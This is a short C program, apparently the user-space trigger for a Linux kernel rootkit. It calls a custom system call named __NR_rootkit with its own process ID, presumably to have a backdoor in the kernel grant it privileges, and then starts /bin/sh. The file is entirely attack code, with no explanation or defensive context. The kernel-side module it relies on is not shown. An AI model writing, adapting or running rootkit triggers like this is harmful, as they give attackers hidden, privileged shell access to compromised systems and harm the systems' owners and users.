myprog.c

#include <linux/unistd.h>
#include <sys/syscall.h>
#include <stdio.h>   

#define rootkit(x,y) syscall(__NR_rootkit,x,y) 

main() {
   printf("Exit code = %d\n\n",rootkit(1,getpid()));
     char *cmd[2];
   cmd[0] = "/bin/sh";
   cmd[1] = NULL;
   execve(cmd[0], cmd, NULL);
}